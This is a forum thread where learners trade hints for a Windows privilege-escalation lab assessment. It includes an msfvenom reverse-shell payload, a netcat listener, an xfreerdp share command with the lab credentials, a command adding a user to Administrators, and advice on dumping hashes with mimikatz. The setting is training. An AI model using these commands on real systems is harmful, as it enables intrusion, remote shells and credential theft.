Windows Privilege Escalation Skills Assessment - Part II

Escalate privileges to SYSTEM and submit the contents of the flag.txt file on the Administrator Desktop . Trying From A long time | Tried Many Exploits Noting Seems To Work.
Any Hint.

Ok, so just read this if you are really really trapped and since nobody was replying.

To get privilege escalation there is section that explains how to use CVE-2020-0668
Since I was not able to “build” the “.exe” file from the source, what I just did was downloading the .exe files provided in the section machine that explains that CVE into my Linux Machine, re-spawn the Skill Assesment Part II machine and pass the .exe files. You can easily do this sharing the “/tmp” folder from our attacker machine with the Windows target machine Network using

xfreerdp /v:<target-ip> /u:htb-student /p:'HTB_@cademy_stdnt!' /drive:linux,/tmp

so you have a “shared” folder between our Linux attacker machine and Windows target machine.

You can follow the steps as the Academy teaches.
However, when you try to get Meterpreter reverse shell, at least for me, I got the following error when I use commands:
[-] Error running command getuid: Rex::TimeoutError Send timed out

So, for this reason, instead of generating a malicious binary that uses Meterpreter, just do the old fashion way and create a simple .exe reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp lhost=<your attacker ip> lport=<your listening port> -f exe > ma****.exe
and, before starting the “infected” service, just remember to run nc:
nc -lvnp <listening port>

To get the system network user password (which could be used in other circumstances to pivoting), you have two options:

  • Use mimikatz.exe
  • Using our privileged reverse shell, add our user to Administrators group (“net localgroup Administrators htb-student /add”), use (do NOT use ‘just-dc’ flags) and crack the hashes with your favorite tool

Happy hacking


oh sory guys, i already finish the assessment II while above. above text is hint that others ask me before

the steps given to accomplish the task given by @GunZF0x are fair enough and precise… please if you can further elaborate the issue you are facing

Yes follow these steps and get the executable from the previous module it will make your life easier. Also msfconsole has a module but it doesnt work for some reason in this lab so dont waste time with it :slight_smile:

Just my 2 cents on this exercise:

Thanks so much! This has saved me a good chunk of time… It feels like they’ve added these skill assessments to mess with us and get us thinking outside the box. It’s a bit much sometimes

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The first question to find the cleartext password for the iamtheadministrator account was the hardest for me.

There is good advice in here on how to do it. WinPEAs or SharpUp.exe will get you to where you need to go.

But it won’t put it right in your face. You may need to look in something.

Anyway, this was a good lab and a great example of why you shouldn’t just leave passwords *cough * unattended * cough * :wink:

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The method mentioned above, is A way to go about the box, but is not the intended way. The intended way IS MUCH easier than you’re making it. Hindsight is 2020 because it took me an entire day to figure it out.

When you run SharpUp.exe, you have everything you need to solve this.

Hint: POWERUP doesn’t work on this box. But it is very easily searchable on how to exploit the vulnerability which is staring you right in the face.

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That’s the best way to go about it

thanks for the note. This helped me a lot.

Hallo, I’ve been able to escalate privilege using [CVE-2020-0668] and complete the module, but I realized, that once I have the reverse shell established using meterpreter, It works only few seconds. That allowed me effectively run one or two commands. But after few seconds, the remote console stoped responding and alerted with timeout. I had to establish it again, but only for those few seconds. This was enough to complete the module, but is here somebody who faced similar issue and advise how to solve it?

does this also work for the netlab module

There are multiple ways to pwn this machine. But i’m pretty sure the intended has to do with “Elevation”.
The exploit can be automated using metasploit. Try running the Suggester Module and you’ll figure it out from there.

I faced the same error but after reading your post I realized that I used wrong payloads in Metasploit: windows/x64/meterpreter/reverse_shell instead of windows/x64/meterpreter/reverse_https
Using correct one gives me a brilliant shell :slight_smile: